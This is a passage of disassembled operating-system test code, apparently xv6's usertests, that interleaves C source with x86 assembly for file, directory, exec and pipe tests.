360: c7 44 24 04 92 45 00 movl $0x4592,0x4(%esp)
367: 00
368: 89 04 24 mov %eax,(%esp)
36b: e8 c5 3c 00 00 call 4035 <printf>
}
370: c9 leave
371: c3 ret
00000372 <writetest>:
void
writetest(void)
{
372: 55 push %ebp
373: 89 e5 mov %esp,%ebp
375: 83 ec 28 sub $0x28,%esp
int fd;
int i;
printf(stdout, "small file test\n");
378: a1 c4 62 00 00 mov 0x62c4,%eax
37d: c7 44 24 04 a0 45 00 movl $0x45a0,0x4(%esp)
384: 00
385: 89 04 24 mov %eax,(%esp)
388: e8 a8 3c 00 00 call 4035 <printf>
fd = open("small", O_CREATE|O_RDWR);
38d: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
394: 00
395: c7 04 24 b1 45 00 00 movl $0x45b1,(%esp)
39c: e8 54 3b 00 00 call 3ef5 <open>
3a1: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd >= 0){
3a4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3a8: 78 21 js 3cb <writetest+0x59>
printf(stdout, "creat small succeeded; ok\n");
3aa: a1 c4 62 00 00 mov 0x62c4,%eax
3af: c7 44 24 04 b7 45 00 movl $0x45b7,0x4(%esp)
3b6: 00
3b7: 89 04 24 mov %eax,(%esp)
3ba: e8 76 3c 00 00 call 4035 <printf>
} else {
printf(stdout, "error: creat small failed!\n");
exit();
}
for(i = 0; i < 100; i++){
3bf: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
3c6: e9 a0 00 00 00 jmp 46b <writetest+0xf9>
printf(stdout, "small file test\n");
fd = open("small", O_CREATE|O_RDWR);
if(fd >= 0){
printf(stdout, "creat small succeeded; ok\n");
} else {
printf(stdout, "error: creat small failed!\n");
3cb: a1 c4 62 00 00 mov 0x62c4,%eax
3d0: c7 44 24 04 d2 45 00 movl $0x45d2,0x4(%esp)
3d7: 00
3d8: 89 04 24 mov %eax,(%esp)
3db: e8 55 3c 00 00 call 4035 <printf>
exit();
3e0: e8 d0 3a 00 00 call 3eb5 <exit>
}
for(i = 0; i < 100; i++){
if(write(fd, "aaaaaaaaaa", 10) != 10){
3e5: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
3ec: 00
3ed: c7 44 24 04 ee 45 00 movl $0x45ee,0x4(%esp)
3f4: 00
3f5: 8b 45 f0 mov -0x10(%ebp),%eax
3f8: 89 04 24 mov %eax,(%esp)
3fb: e8 d5 3a 00 00 call 3ed5 <write>
400: 83 f8 0a cmp $0xa,%eax
403: 74 21 je 426 <writetest+0xb4>
printf(stdout, "error: write aa %d new file failed\n", i);
405: a1 c4 62 00 00 mov 0x62c4,%eax
40a: 8b 55 f4 mov -0xc(%ebp),%edx
40d: 89 54 24 08 mov %edx,0x8(%esp)
411: c7 44 24 04 fc 45 00 movl $0x45fc,0x4(%esp)
418: 00
419: 89 04 24 mov %eax,(%esp)
41c: e8 14 3c 00 00 call 4035 <printf>
exit();
421: e8 8f 3a 00 00 call 3eb5 <exit>
}
if(write(fd, "bbbbbbbbbb", 10) != 10){
426: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
42d: 00
42e: c7 44 24 04 20 46 00 movl $0x4620,0x4(%esp)
435: 00
436: 8b 45 f0 mov -0x10(%ebp),%eax
439: 89 04 24 mov %eax,(%esp)
43c: e8 94 3a 00 00 call 3ed5 <write>
441: 83 f8 0a cmp $0xa,%eax
444: 74 21 je 467 <writetest+0xf5>
printf(stdout, "error: write bb %d new file failed\n", i);
446: a1 c4 62 00 00 mov 0x62c4,%eax
44b: 8b 55 f4 mov -0xc(%ebp),%edx
44e: 89 54 24 08 mov %edx,0x8(%esp)
452: c7 44 24 04 2c 46 00 movl $0x462c,0x4(%esp)
459: 00
45a: 89 04 24 mov %eax,(%esp)
45d: e8 d3 3b 00 00 call 4035 <printf>
exit();
462: e8 4e 3a 00 00 call 3eb5 <exit>
printf(stdout, "creat small succeeded; ok\n");
} else {
printf(stdout, "error: creat small failed!\n");
exit();
}
for(i = 0; i < 100; i++){
467: 83 45 f4 01 addl $0x1,-0xc(%ebp)
46b: 83 7d f4 63 cmpl $0x63,-0xc(%ebp)
46f: 0f 8e 70 ff ff ff jle 3e5 <writetest+0x73>
if(write(fd, "bbbbbbbbbb", 10) != 10){
printf(stdout, "error: write bb %d new file failed\n", i);
exit();
}
}
printf(stdout, "writes ok\n");
475: a1 c4 62 00 00 mov 0x62c4,%eax
47a: c7 44 24 04 50 46 00 movl $0x4650,0x4(%esp)
481: 00
482: 89 04 24 mov %eax,(%esp)
485: e8 ab 3b 00 00 call 4035 <printf>
close(fd);
48a: 8b 45 f0 mov -0x10(%ebp),%eax
48d: 89 04 24 mov %eax,(%esp)
490: e8 48 3a 00 00 call 3edd <close>
fd = open("small", O_RDONLY);
495: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
49c: 00
49d: c7 04 24 b1 45 00 00 movl $0x45b1,(%esp)
4a4: e8 4c 3a 00 00 call 3ef5 <open>
4a9: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd >= 0){
4ac: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
4b0: 78 3e js 4f0 <writetest+0x17e>
printf(stdout, "open small succeeded ok\n");
4b2: a1 c4 62 00 00 mov 0x62c4,%eax
4b7: c7 44 24 04 5b 46 00 movl $0x465b,0x4(%esp)
4be: 00
4bf: 89 04 24 mov %eax,(%esp)
4c2: e8 6e 3b 00 00 call 4035 <printf>
} else {
printf(stdout, "error: open small failed!\n");
exit();
}
i = read(fd, buf, 2000);
4c7: c7 44 24 08 d0 07 00 movl $0x7d0,0x8(%esp)
4ce: 00
4cf: c7 44 24 04 a0 8a 00 movl $0x8aa0,0x4(%esp)
4d6: 00
4d7: 8b 45 f0 mov -0x10(%ebp),%eax
4da: 89 04 24 mov %eax,(%esp)
4dd: e8 eb 39 00 00 call 3ecd <read>
4e2: 89 45 f4 mov %eax,-0xc(%ebp)
if(i == 2000){
4e5: 81 7d f4 d0 07 00 00 cmpl $0x7d0,-0xc(%ebp)
4ec: 75 4e jne 53c <writetest+0x1ca>
4ee: eb 1a jmp 50a <writetest+0x198>
close(fd);
fd = open("small", O_RDONLY);
if(fd >= 0){
printf(stdout, "open small succeeded ok\n");
} else {
printf(stdout, "error: open small failed!\n");
4f0: a1 c4 62 00 00 mov 0x62c4,%eax
4f5: c7 44 24 04 74 46 00 movl $0x4674,0x4(%esp)
4fc: 00
4fd: 89 04 24 mov %eax,(%esp)
500: e8 30 3b 00 00 call 4035 <printf>
exit();
505: e8 ab 39 00 00 call 3eb5 <exit>
}
i = read(fd, buf, 2000);
if(i == 2000){
printf(stdout, "read succeeded ok\n");
50a: a1 c4 62 00 00 mov 0x62c4,%eax
50f: c7 44 24 04 8f 46 00 movl $0x468f,0x4(%esp)
516: 00
517: 89 04 24 mov %eax,(%esp)
51a: e8 16 3b 00 00 call 4035 <printf>
} else {
printf(stdout, "read failed\n");
exit();
}
close(fd);
51f: 8b 45 f0 mov -0x10(%ebp),%eax
522: 89 04 24 mov %eax,(%esp)
525: e8 b3 39 00 00 call 3edd <close>
if(unlink("small") < 0){
52a: c7 04 24 b1 45 00 00 movl $0x45b1,(%esp)
531: e8 cf 39 00 00 call 3f05 <unlink>
536: 85 c0 test %eax,%eax
538: 79 36 jns 570 <writetest+0x1fe>
53a: eb 1a jmp 556 <writetest+0x1e4>
}
i = read(fd, buf, 2000);
if(i == 2000){
printf(stdout, "read succeeded ok\n");
} else {
printf(stdout, "read failed\n");
53c: a1 c4 62 00 00 mov 0x62c4,%eax
541: c7 44 24 04 a2 46 00 movl $0x46a2,0x4(%esp)
548: 00
549: 89 04 24 mov %eax,(%esp)
54c: e8 e4 3a 00 00 call 4035 <printf>
exit();
551: e8 5f 39 00 00 call 3eb5 <exit>
}
close(fd);
if(unlink("small") < 0){
printf(stdout, "unlink small failed\n");
556: a1 c4 62 00 00 mov 0x62c4,%eax
55b: c7 44 24 04 af 46 00 movl $0x46af,0x4(%esp)
562: 00
563: 89 04 24 mov %eax,(%esp)
566: e8 ca 3a 00 00 call 4035 <printf>
exit();
56b: e8 45 39 00 00 call 3eb5 <exit>
}
printf(stdout, "small file test ok\n");
570: a1 c4 62 00 00 mov 0x62c4,%eax
575: c7 44 24 04 c4 46 00 movl $0x46c4,0x4(%esp)
57c: 00
57d: 89 04 24 mov %eax,(%esp)
580: e8 b0 3a 00 00 call 4035 <printf>
}
585: c9 leave
586: c3 ret
00000587 <writetest1>:
void
writetest1(void)
{
587: 55 push %ebp
588: 89 e5 mov %esp,%ebp
58a: 83 ec 28 sub $0x28,%esp
int i, fd, n;
printf(stdout, "big files test\n");
58d: a1 c4 62 00 00 mov 0x62c4,%eax
592: c7 44 24 04 d8 46 00 movl $0x46d8,0x4(%esp)
599: 00
59a: 89 04 24 mov %eax,(%esp)
59d: e8 93 3a 00 00 call 4035 <printf>
fd = open("big", O_CREATE|O_RDWR);
5a2: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
5a9: 00
5aa: c7 04 24 e8 46 00 00 movl $0x46e8,(%esp)
5b1: e8 3f 39 00 00 call 3ef5 <open>
5b6: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
5b9: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
5bd: 79 1a jns 5d9 <writetest1+0x52>
printf(stdout, "error: creat big failed!\n");
5bf: a1 c4 62 00 00 mov 0x62c4,%eax
5c4: c7 44 24 04 ec 46 00 movl $0x46ec,0x4(%esp)
5cb: 00
5cc: 89 04 24 mov %eax,(%esp)
5cf: e8 61 3a 00 00 call 4035 <printf>
exit();
5d4: e8 dc 38 00 00 call 3eb5 <exit>
}
for(i = 0; i < MAXFILE; i++){
5d9: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
5e0: eb 51 jmp 633 <writetest1+0xac>
((int*)buf)[0] = i;
5e2: b8 a0 8a 00 00 mov $0x8aa0,%eax
5e7: 8b 55 f4 mov -0xc(%ebp),%edx
5ea: 89 10 mov %edx,(%eax)
if(write(fd, buf, 512) != 512){
5ec: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
5f3: 00
5f4: c7 44 24 04 a0 8a 00 movl $0x8aa0,0x4(%esp)
5fb: 00
5fc: 8b 45 ec mov -0x14(%ebp),%eax
5ff: 89 04 24 mov %eax,(%esp)
602: e8 ce 38 00 00 call 3ed5 <write>
607: 3d 00 02 00 00 cmp $0x200,%eax
60c: 74 21 je 62f <writetest1+0xa8>
printf(stdout, "error: write big file failed\n", i);
60e: a1 c4 62 00 00 mov 0x62c4,%eax
613: 8b 55 f4 mov -0xc(%ebp),%edx
616: 89 54 24 08 mov %edx,0x8(%esp)
61a: c7 44 24 04 06 47 00 movl $0x4706,0x4(%esp)
621: 00
622: 89 04 24 mov %eax,(%esp)
625: e8 0b 3a 00 00 call 4035 <printf>
exit();
62a: e8 86 38 00 00 call 3eb5 <exit>
if(fd < 0){
printf(stdout, "error: creat big failed!\n");
exit();
}
for(i = 0; i < MAXFILE; i++){
62f: 83 45 f4 01 addl $0x1,-0xc(%ebp)
633: 8b 45 f4 mov -0xc(%ebp),%eax
636: 3d 8b 00 00 00 cmp $0x8b,%eax
63b: 76 a5 jbe 5e2 <writetest1+0x5b>
printf(stdout, "error: write big file failed\n", i);
exit();
}
}
close(fd);
63d: 8b 45 ec mov -0x14(%ebp),%eax
640: 89 04 24 mov %eax,(%esp)
643: e8 95 38 00 00 call 3edd <close>
fd = open("big", O_RDONLY);
648: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
64f: 00
650: c7 04 24 e8 46 00 00 movl $0x46e8,(%esp)
657: e8 99 38 00 00 call 3ef5 <open>
65c: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
65f: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
663: 79 1a jns 67f <writetest1+0xf8>
printf(stdout, "error: open big failed!\n");
665: a1 c4 62 00 00 mov 0x62c4,%eax
66a: c7 44 24 04 24 47 00 movl $0x4724,0x4(%esp)
671: 00
672: 89 04 24 mov %eax,(%esp)
675: e8 bb 39 00 00 call 4035 <printf>
exit();
67a: e8 36 38 00 00 call 3eb5 <exit>
}
n = 0;
67f: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
for(;;){
i = read(fd, buf, 512);
686: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
68d: 00
68e: c7 44 24 04 a0 8a 00 movl $0x8aa0,0x4(%esp)
695: 00
696: 8b 45 ec mov -0x14(%ebp),%eax
699: 89 04 24 mov %eax,(%esp)
69c: e8 2c 38 00 00 call 3ecd <read>
6a1: 89 45 f4 mov %eax,-0xc(%ebp)
if(i == 0){
6a4: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
6a8: 75 4c jne 6f6 <writetest1+0x16f>
if(n == MAXFILE - 1){
6aa: 81 7d f0 8b 00 00 00 cmpl $0x8b,-0x10(%ebp)
6b1: 75 21 jne 6d4 <writetest1+0x14d>
printf(stdout, "read only %d blocks from big", n);
6b3: a1 c4 62 00 00 mov 0x62c4,%eax
6b8: 8b 55 f0 mov -0x10(%ebp),%edx
6bb: 89 54 24 08 mov %edx,0x8(%esp)
6bf: c7 44 24 04 3d 47 00 movl $0x473d,0x4(%esp)
6c6: 00
6c7: 89 04 24 mov %eax,(%esp)
6ca: e8 66 39 00 00 call 4035 <printf>
exit();
6cf: e8 e1 37 00 00 call 3eb5 <exit>
}
break;
6d4: 90 nop
n, ((int*)buf)[0]);
exit();
}
n++;
}
close(fd);
6d5: 8b 45 ec mov -0x14(%ebp),%eax
6d8: 89 04 24 mov %eax,(%esp)
6db: e8 fd 37 00 00 call 3edd <close>
if(unlink("big") < 0){
6e0: c7 04 24 e8 46 00 00 movl $0x46e8,(%esp)
6e7: e8 19 38 00 00 call 3f05 <unlink>
6ec: 85 c0 test %eax,%eax
6ee: 0f 89 87 00 00 00 jns 77b <writetest1+0x1f4>
6f4: eb 6b jmp 761 <writetest1+0x1da>
if(n == MAXFILE - 1){
printf(stdout, "read only %d blocks from big", n);
exit();
}
break;
} else if(i != 512){
6f6: 81 7d f4 00 02 00 00 cmpl $0x200,-0xc(%ebp)
6fd: 74 21 je 720 <writetest1+0x199>
printf(stdout, "read failed %d\n", i);
6ff: a1 c4 62 00 00 mov 0x62c4,%eax
704: 8b 55 f4 mov -0xc(%ebp),%edx
707: 89 54 24 08 mov %edx,0x8(%esp)
70b: c7 44 24 04 5a 47 00 movl $0x475a,0x4(%esp)
712: 00
713: 89 04 24 mov %eax,(%esp)
716: e8 1a 39 00 00 call 4035 <printf>
exit();
71b: e8 95 37 00 00 call 3eb5 <exit>
}
if(((int*)buf)[0] != n){
720: b8 a0 8a 00 00 mov $0x8aa0,%eax
725: 8b 00 mov (%eax),%eax
727: 3b 45 f0 cmp -0x10(%ebp),%eax
72a: 74 2c je 758 <writetest1+0x1d1>
printf(stdout, "read content of block %d is %d\n",
n, ((int*)buf)[0]);
72c: b8 a0 8a 00 00 mov $0x8aa0,%eax
} else if(i != 512){
printf(stdout, "read failed %d\n", i);
exit();
}
if(((int*)buf)[0] != n){
printf(stdout, "read content of block %d is %d\n",
731: 8b 10 mov (%eax),%edx
733: a1 c4 62 00 00 mov 0x62c4,%eax
738: 89 54 24 0c mov %edx,0xc(%esp)
73c: 8b 55 f0 mov -0x10(%ebp),%edx
73f: 89 54 24 08 mov %edx,0x8(%esp)
743: c7 44 24 04 6c 47 00 movl $0x476c,0x4(%esp)
74a: 00
74b: 89 04 24 mov %eax,(%esp)
74e: e8 e2 38 00 00 call 4035 <printf>
n, ((int*)buf)[0]);
exit();
753: e8 5d 37 00 00 call 3eb5 <exit>
}
n++;
758: 83 45 f0 01 addl $0x1,-0x10(%ebp)
}
75c: e9 25 ff ff ff jmp 686 <writetest1+0xff>
close(fd);
if(unlink("big") < 0){
printf(stdout, "unlink big failed\n");
761: a1 c4 62 00 00 mov 0x62c4,%eax
766: c7 44 24 04 8c 47 00 movl $0x478c,0x4(%esp)
76d: 00
76e: 89 04 24 mov %eax,(%esp)
771: e8 bf 38 00 00 call 4035 <printf>
exit();
776: e8 3a 37 00 00 call 3eb5 <exit>
}
printf(stdout, "big files ok\n");
77b: a1 c4 62 00 00 mov 0x62c4,%eax
780: c7 44 24 04 9f 47 00 movl $0x479f,0x4(%esp)
787: 00
788: 89 04 24 mov %eax,(%esp)
78b: e8 a5 38 00 00 call 4035 <printf>
}
790: c9 leave
791: c3 ret
00000792 <createtest>:
void
createtest(void)
{
792: 55 push %ebp
793: 89 e5 mov %esp,%ebp
795: 83 ec 28 sub $0x28,%esp
int i, fd;
printf(stdout, "many creates, followed by unlink test\n");
798: a1 c4 62 00 00 mov 0x62c4,%eax
79d: c7 44 24 04 b0 47 00 movl $0x47b0,0x4(%esp)
7a4: 00
7a5: 89 04 24 mov %eax,(%esp)
7a8: e8 88 38 00 00 call 4035 <printf>
name[0] = 'a';
7ad: c6 05 a0 aa 00 00 61 movb $0x61,0xaaa0
name[2] = '\0';
7b4: c6 05 a2 aa 00 00 00 movb $0x0,0xaaa2
for(i = 0; i < 52; i++){
7bb: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
7c2: eb 31 jmp 7f5 <createtest+0x63>
name[1] = '0' + i;
7c4: 8b 45 f4 mov -0xc(%ebp),%eax
7c7: 83 c0 30 add $0x30,%eax
7ca: a2 a1 aa 00 00 mov %al,0xaaa1
fd = open(name, O_CREATE|O_RDWR);
7cf: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
7d6: 00
7d7: c7 04 24 a0 aa 00 00 movl $0xaaa0,(%esp)
7de: e8 12 37 00 00 call 3ef5 <open>
7e3: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
7e6: 8b 45 f0 mov -0x10(%ebp),%eax
7e9: 89 04 24 mov %eax,(%esp)
7ec: e8 ec 36 00 00 call 3edd <close>
printf(stdout, "many creates, followed by unlink test\n");
name[0] = 'a';
name[2] = '\0';
for(i = 0; i < 52; i++){
7f1: 83 45 f4 01 addl $0x1,-0xc(%ebp)
7f5: 83 7d f4 33 cmpl $0x33,-0xc(%ebp)
7f9: 7e c9 jle 7c4 <createtest+0x32>
name[1] = '0' + i;
fd = open(name, O_CREATE|O_RDWR);
close(fd);
}
name[0] = 'a';
7fb: c6 05 a0 aa 00 00 61 movb $0x61,0xaaa0
name[2] = '\0';
802: c6 05 a2 aa 00 00 00 movb $0x0,0xaaa2
for(i = 0; i < 52; i++){
809: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
810: eb 1b jmp 82d <createtest+0x9b>
name[1] = '0' + i;
812: 8b 45 f4 mov -0xc(%ebp),%eax
815: 83 c0 30 add $0x30,%eax
818: a2 a1 aa 00 00 mov %al,0xaaa1
unlink(name);
81d: c7 04 24 a0 aa 00 00 movl $0xaaa0,(%esp)
824: e8 dc 36 00 00 call 3f05 <unlink>
fd = open(name, O_CREATE|O_RDWR);
close(fd);
}
name[0] = 'a';
name[2] = '\0';
for(i = 0; i < 52; i++){
829: 83 45 f4 01 addl $0x1,-0xc(%ebp)
82d: 83 7d f4 33 cmpl $0x33,-0xc(%ebp)
831: 7e df jle 812 <createtest+0x80>
name[1] = '0' + i;
unlink(name);
}
printf(stdout, "many creates, followed by unlink; ok\n");
833: a1 c4 62 00 00 mov 0x62c4,%eax
838: c7 44 24 04 d8 47 00 movl $0x47d8,0x4(%esp)
83f: 00
840: 89 04 24 mov %eax,(%esp)
843: e8 ed 37 00 00 call 4035 <printf>
}
848: c9 leave
849: c3 ret
0000084a <dirtest>:
void dirtest(void)
{
84a: 55 push %ebp
84b: 89 e5 mov %esp,%ebp
84d: 83 ec 18 sub $0x18,%esp
printf(stdout, "mkdir test\n");
850: a1 c4 62 00 00 mov 0x62c4,%eax
855: c7 44 24 04 fe 47 00 movl $0x47fe,0x4(%esp)
85c: 00
85d: 89 04 24 mov %eax,(%esp)
860: e8 d0 37 00 00 call 4035 <printf>
if(mkdir("dir0") < 0){
865: c7 04 24 0a 48 00 00 movl $0x480a,(%esp)
86c: e8 ac 36 00 00 call 3f1d <mkdir>
871: 85 c0 test %eax,%eax
873: 79 1a jns 88f <dirtest+0x45>
printf(stdout, "mkdir failed\n");
875: a1 c4 62 00 00 mov 0x62c4,%eax
87a: c7 44 24 04 2d 44 00 movl $0x442d,0x4(%esp)
881: 00
882: 89 04 24 mov %eax,(%esp)
885: e8 ab 37 00 00 call 4035 <printf>
exit();
88a: e8 26 36 00 00 call 3eb5 <exit>
}
if(chdir("dir0") < 0){
88f: c7 04 24 0a 48 00 00 movl $0x480a,(%esp)
896: e8 8a 36 00 00 call 3f25 <chdir>
89b: 85 c0 test %eax,%eax
89d: 79 1a jns 8b9 <dirtest+0x6f>
printf(stdout, "chdir dir0 failed\n");
89f: a1 c4 62 00 00 mov 0x62c4,%eax
8a4: c7 44 24 04 0f 48 00 movl $0x480f,0x4(%esp)
8ab: 00
8ac: 89 04 24 mov %eax,(%esp)
8af: e8 81 37 00 00 call 4035 <printf>
exit();
8b4: e8 fc 35 00 00 call 3eb5 <exit>
}
if(chdir("..") < 0){
8b9: c7 04 24 22 48 00 00 movl $0x4822,(%esp)
8c0: e8 60 36 00 00 call 3f25 <chdir>
8c5: 85 c0 test %eax,%eax
8c7: 79 1a jns 8e3 <dirtest+0x99>
printf(stdout, "chdir .. failed\n");
8c9: a1 c4 62 00 00 mov 0x62c4,%eax
8ce: c7 44 24 04 25 48 00 movl $0x4825,0x4(%esp)
8d5: 00
8d6: 89 04 24 mov %eax,(%esp)
8d9: e8 57 37 00 00 call 4035 <printf>
exit();
8de: e8 d2 35 00 00 call 3eb5 <exit>
}
if(unlink("dir0") < 0){
8e3: c7 04 24 0a 48 00 00 movl $0x480a,(%esp)
8ea: e8 16 36 00 00 call 3f05 <unlink>
8ef: 85 c0 test %eax,%eax
8f1: 79 1a jns 90d <dirtest+0xc3>
printf(stdout, "unlink dir0 failed\n");
8f3: a1 c4 62 00 00 mov 0x62c4,%eax
8f8: c7 44 24 04 36 48 00 movl $0x4836,0x4(%esp)
8ff: 00
900: 89 04 24 mov %eax,(%esp)
903: e8 2d 37 00 00 call 4035 <printf>
exit();
908: e8 a8 35 00 00 call 3eb5 <exit>
}
printf(stdout, "mkdir test ok\n");
90d: a1 c4 62 00 00 mov 0x62c4,%eax
912: c7 44 24 04 4a 48 00 movl $0x484a,0x4(%esp)
919: 00
91a: 89 04 24 mov %eax,(%esp)
91d: e8 13 37 00 00 call 4035 <printf>
}
922: c9 leave
923: c3 ret
00000924 <exectest>:
void
exectest(void)
{
924: 55 push %ebp
925: 89 e5 mov %esp,%ebp
927: 83 ec 18 sub $0x18,%esp
printf(stdout, "exec test\n");
92a: a1 c4 62 00 00 mov 0x62c4,%eax
92f: c7 44 24 04 59 48 00 movl $0x4859,0x4(%esp)
936: 00
937: 89 04 24 mov %eax,(%esp)
93a: e8 f6 36 00 00 call 4035 <printf>
if(exec("echo", echoargv) < 0){
93f: c7 44 24 04 b0 62 00 movl $0x62b0,0x4(%esp)
946: 00
947: c7 04 24 04 44 00 00 movl $0x4404,(%esp)
94e: e8 9a 35 00 00 call 3eed <exec>
953: 85 c0 test %eax,%eax
955: 79 1a jns 971 <exectest+0x4d>
printf(stdout, "exec echo failed\n");
957: a1 c4 62 00 00 mov 0x62c4,%eax
95c: c7 44 24 04 64 48 00 movl $0x4864,0x4(%esp)
963: 00
964: 89 04 24 mov %eax,(%esp)
967: e8 c9 36 00 00 call 4035 <printf>
exit();
96c: e8 44 35 00 00 call 3eb5 <exit>
}
}
971: c9 leave
972: c3 ret
00000973 <pipe1>:
// simple fork and pipe read/write
void
pipe1(void)
{
973: 55 push %ebp
974: 89 e5 mov %esp,%ebp
976: 83 ec 38 sub $0x38,%esp
int fds[2], pid;
int seq, i, n, cc, total;
if(pipe(fds) != 0){
979: 8d 45 d8 lea -0x28(%ebp),%eax
97c: 89 04 24 mov %eax,(%esp)
97f: e8 41 35 00 00 call 3ec5 <pipe>
984: 85 c0 test %eax,%eax
986: 74 19 je 9a1 <pipe1+0x2e>
printf(1, "pipe() failed\n");
988: c7 44 24 04 76 48 00 movl $0x4876,0x4(%esp)
98f: 00
990: c7 04 24 01 00 00 00 movl $0x1,(%esp)
997: e8 99 36 00 00 call 4035 <printf>
exit();
99c: e8 14 35 00 00 call 3eb5 <exit>
}
pid = fork();
9a1: e8 07 35 00 00 call 3ead <fork>
9a6: 89 45 e0 mov %eax,-0x20(%ebp)
seq = 0;
9a9: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
if(pid == 0){
9b0: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
9b4: 0f 85 88 00 00 00 jne a42 <pipe1+0xcf>
close(fds[0]);
9ba: 8b 45 d8 mov -0x28(%ebp),%eax
9bd: 89 04 24 mov %eax,(%esp)
9c0: e8 18 35 00 00 call 3edd <close>
for(n = 0; n < 5; n++){
9c5: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
9cc: eb 69 jmp a37 <pipe1+0xc4>
for(i = 0; i < 1033; i++)
9ce: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
9d5: eb 18 jmp 9ef <pipe1+0x7c>
buf[i] = seq++;
9d7: 8b 45 f4 mov -0xc(%ebp),%eax
9da: 8d 50 01 lea 0x1(%eax),%edx
9dd: 89 55 f4 mov %edx,-0xc(%ebp)
9e0: 8b 55 f0 mov -0x10(%ebp),%edx
9e3: 81 c2 a0 8a 00 00 add $0x8aa0,%edx
9e9: 88 02 mov %al,(%edx)
pid = fork();
seq = 0;
if(pid == 0){
close(fds[0]);
for(n = 0; n < 5; n++){
for(i = 0; i < 1033; i++)
9eb: 83 45 f0 01 addl $0x1,-0x10(%ebp)
9ef: 81 7d f0 08 04 00 00 cmpl $0x408,-0x10(%ebp)
9f6: 7e df jle 9d7 <pipe1+0x64>
buf[i] = seq++;
if(write(fds[1], buf, 1033) != 1033){
9f8: 8b 45 dc mov -0x24(%ebp),%eax
9fb: c7 44 24 08 09 04 00 movl $0x409,0x8(%esp)
a02: 00
a03: c7 44 24 04 a0 8a 00 movl $0x8aa0,0x4(%esp)
a0a: 00
a0b: 89 04 24 mov %eax,(%esp)
a0e: e8 c2 34 00 00 call 3ed5 <write>
a13: 3d 09 04 00 00 cmp $0x409,%eax
a18: 74 19 je a33 <pipe1+0xc0>
printf(1, "pipe1 oops 1\n");
a1a: c7 44 24 04 85 48 00 movl $0x4885,0x4(%esp)
a21: 00
a22: c7 04 24 01 00 00 00 movl $0x1,(%esp)
a29: e8 07 36 00 00 call 4035 <printf>
exit();
a2e: e8 82 34 00 00 call 3eb5 <exit>
}
pid = fork();
seq = 0;
if(pid == 0){
close(fds[0]);
for(n = 0; n < 5; n++){
a33: 83 45 ec 01 addl $0x1,-0x14(%ebp)
a37: 83 7d ec 04 cmpl $0x4,-0x14(%ebp)
a3b: 7e 91 jle 9ce <pipe1+0x5b>
if(write(fds[1], buf, 1033) != 1033){
printf(1, "pipe1 oops 1\n");
exit();
}
}
exit();
a3d: e8 73 34 00 00 call 3eb5 <exit>
} else if(pid > 0){
a42: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
a46: 0f 8e f9 00 00 00 jle b45 <pipe1+0x1d2>
close(fds[1]);
a4c: 8b 45 dc mov -0x24(%ebp),%eax
a4f: 89 04 24 mov %eax,(%esp)
a52: e8 86 34 00 00 call 3edd <close>
total = 0;
a57: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
cc = 1;
a5e: c7 45 e8 01 00 00 00 movl $0x1,-0x18(%ebp)
while((n = read(fds[0], buf, cc)) > 0){
a65: eb 68 jmp acf <pipe1+0x15c>
for(i = 0; i < n; i++){
a67: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
a6e: eb 3d jmp aad <pipe1+0x13a>
if((buf[i] & 0xff) != (seq++ & 0xff)){
a70: 8b 45 f0 mov -0x10(%ebp),%eax
a73: 05 a0 8a 00 00 add $0x8aa0,%eax
a78: 0f b6 00 movzbl (%eax),%eax
a7b: 0f be c8 movsbl %al,%ecx
a7e: 8b 45 f4 mov -0xc(%ebp),%eax
a81: 8d 50 01 lea 0x1(%eax),%edx
a84: 89 55 f4 mov %edx,-0xc(%ebp)
a87: 31 c8 xor %ecx,%eax
a89: 0f b6 c0 movzbl %al,%eax
a8c: 85 c0 test %eax,%eax
a8e: 74 19 je aa9 <pipe1+0x136>
printf(1, "pipe1 oops 2\n");
a90: c7 44 24 04 93 48 00 movl $0x4893,0x4(%esp)
a97: 00
a98: c7 04 24 01 00 00 00 movl $0x1,(%esp)
a9f: e8 91 35 00 00 call 4035 <printf>
aa4: e9 b5 00 00 00 jmp b5e <pipe1+0x1eb>
} else if(pid > 0){
close(fds[1]);
total = 0;
cc = 1;
while((n = read(fds[0], buf, cc)) > 0){
for(i = 0; i < n; i++){
aa9: 83 45 f0 01 addl $0x1,-0x10(%ebp)
aad: 8b 45 f0 mov -0x10(%ebp),%eax
ab0: 3b 45 ec cmp -0x14(%ebp),%eax
ab3: 7c bb jl a70 <pipe1+0xfd>
if((buf[i] & 0xff) != (seq++ & 0xff)){
printf(1, "pipe1 oops 2\n");
return;
}
}
total += n;
ab5: 8b 45 ec mov -0x14(%ebp),%eax
ab8: 01 45 e4 add %eax,-0x1c(%ebp)
cc = cc * 2;
abb: d1 65 e8 shll -0x18(%ebp)
if(cc > sizeof(buf))
abe: 8b 45 e8 mov -0x18(%ebp),%eax
ac1: 3d 00 20 00 00 cmp $0x2000,%eax
ac6: 76 07 jbe acf <pipe1+0x15c>
